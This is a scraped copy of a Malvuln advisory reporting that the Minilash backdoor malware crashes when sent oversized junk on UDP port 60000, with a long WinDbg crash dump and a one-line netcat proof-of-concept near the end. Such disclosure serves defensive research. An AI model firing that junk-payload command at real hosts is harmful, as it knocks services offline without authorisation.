Backdoor.Win32.Minilash.10.b Denial Of Service (/khalil.shtml/it-highlights/latest-vulnerabilities-and-ex... l-Of...

Original source: https://malvuln.com/advisory/3c407448a00b2d53b2418f53b66d5b6b.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Minilash.10.b
Vulnerability: Remote Denial of Service (UDP Datagram)
Description: The Minilash malware listens on TCP 6711 and UDP port 60000. Third-party attackers who can reach infected systems can send a specially crafted junk payload to UDP port 60000 that results in access violation and crash.
Type: PE32
MD5: 3c407448a00b2d53b2418f53b66d5b6b
Vuln ID: MVID-2021-0344
Disclosure: 09/20/2021

Memory Dump:
(1518.115c): Access violation - code c0000005 (first/second chance not available)
eax=000a1068 ebx=000a1038 ecx=004661bc edx=000a1068 esi=000a1190 edi=00000000
eip=776a9fa2 esp=000a1000 ebp=000a1030 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246

```
ntdll!RtlAcquireSRWLockShared+0x2:
776a9fa2 55 push ebp

0:000> .ecxr
eax=000a1068 ebx=000a1038 ecx=004661bc edx=000a1068 esi=000a1190 edi=00000000
eip=776a9fa2 esp=000a1000 ebp=000a1030 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
ntdll!RtlAcquireSRWLockShared+0x2:
776a9fa2 55 push ebp

0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************


FAULTING_IP:
KERNELBASE!RaiseException+62
762d08f2 8b4c2454 mov ecx,dword ptr [esp+54h]

EXCEPTION_RECORD: 0019f780 -- (.exr 0x19f780)
ExceptionAddress: 762d08f2 (KERNELBASE!RaiseException+0x00000062)
ExceptionCode: 0eedfade
ExceptionFlags: 00000003
NumberParameters: 7
Parameter[0]: 004104b3
Parameter[1]: 0420c5a4
Parameter[2]: ffffffff
Parameter[3]: 0040d310
Parameter[4]: 041e77e8
Parameter[5]: 0019fd0c
Parameter[6]: 0019fcc0

PROCESS_NAME: Backdoor.Win32.Minilash.10.b.3c407448a00b2d53b2418f53b66d5b6b..exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000001

EXCEPTION_PARAMETER2: 000a0ffc

WRITE_ADDRESS: 000a0ffc

FOLLOWUP_IP:
KERNELBASE!RaiseException+0
762d0890 8bff mov edi,edi

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

CONTEXT: 0019f7d0 -- (.cxr 0x19f7d0)
eax=0019fc30 ebx=ffffffff ecx=00000007 edx=00000000 esi=0040d310 edi=041e77e8
```

eip=762d08f2 esp=0019fc30 ebp=0019fc8c iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
KERNELBASE!RaiseException+0x62:
762d08f2 8b4c2454 mov ecx,dword ptr [esp+54h] ss:002b:0019fc84=cb93ef1f
Resetting default scope

ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER: from 0045462e to 762d08f2

FAULTING_THREAD: ffffffff

BUGCHECK_STR: APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff

PRIMARY_PROBLEM_CLASS: INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff

DEFAULT_BUCKET_ID: INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff

STACK_TEXT:
0019fc30 762d08f2 kernelbase!RaiseException+0x62
0019fd14 0045462e backdoor_win32_minilash_10_b_3c407448a00b2d53b2418f53b66d5b6b_+0x5462e
0019fd6c 0045454d backdoor_win32_minilash_10_b_3c407448a00b2d53b2418f53b66d5b6b_+0x5454d
0019fd88 76ebe0bb user32!_InternalCallWinProc+0x2b
0019fdb4 76ec8849 user32!InternalCallWinProc+0x20
0019fdd8 76ecb145 user32!UserCallWinProcCheckWow+0x1be
0019fea8 76eb90dc user32!DispatchMessageWorker+0x4ac
0019ff14 76eb38c0 user32!DispatchMessageA+0x10
0019ff1c 00446400 backdoor_win32_minilash_10_b_3c407448a00b2d53b2418f53b66d5b6b_+0x46400
0019ff70 004669b3 backdoor_win32_minilash_10_b_3c407448a00b2d53b2418f53b66d5b6b_+0x669b3
0019ff88 74118654 kernel32!BaseThreadInitThunk+0x24
0019ff9c 776c4a77 ntdll!__RtlUserThreadStart+0x2f
0019ffe4 776c4a47 ntdll!_RtlUserThreadStart+0x1b

SYMBOL_NAME: kernelbase!RaiseException+0

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: KERNELBASE

IMAGE_NAME: KERNELBASE.dll

DEBUG_FLR_IMAGE_TIMESTAMP: 0

STACK_COMMAND: .cxr 000000000019F7D0 ; kb ; dds 19fc30 ; kb

FAILURE_BUCKET_ID: INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff_c0000005_KERNELBASE.dll!RaiseException

BUCKET_ID:
APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff_kernelbase!RaiseException+0

Exploit/PoC:
python -c "print('A'*10000)" | nc64.exe x.x.x.x -u -c 60000

PREV (/KHALIL.SHTML/IT-HIGHLIGHTS/LATEST-VULNERABILITIES-AND-EXPLOITS/38377-MANAGEENGINE-OPMANAGER-SUMPDU-JAVA-DESERIALIZATION.HTML)

NEXT (/KHALIL.SHTML/IT-HIGHLIGHTS/LATEST-VULNERABILITIES-AND-EXPLOITS/38376-OPENCATS-0.9.4-XML-INJECTION.HTML)

Share your comment publicly

cial Media Applications .. CLICK HERE

social_applications)

Giveaway, Instagram Giveaway, Facebook Giveaway, Youtube and Facebook Free apps and more...CLICK HERE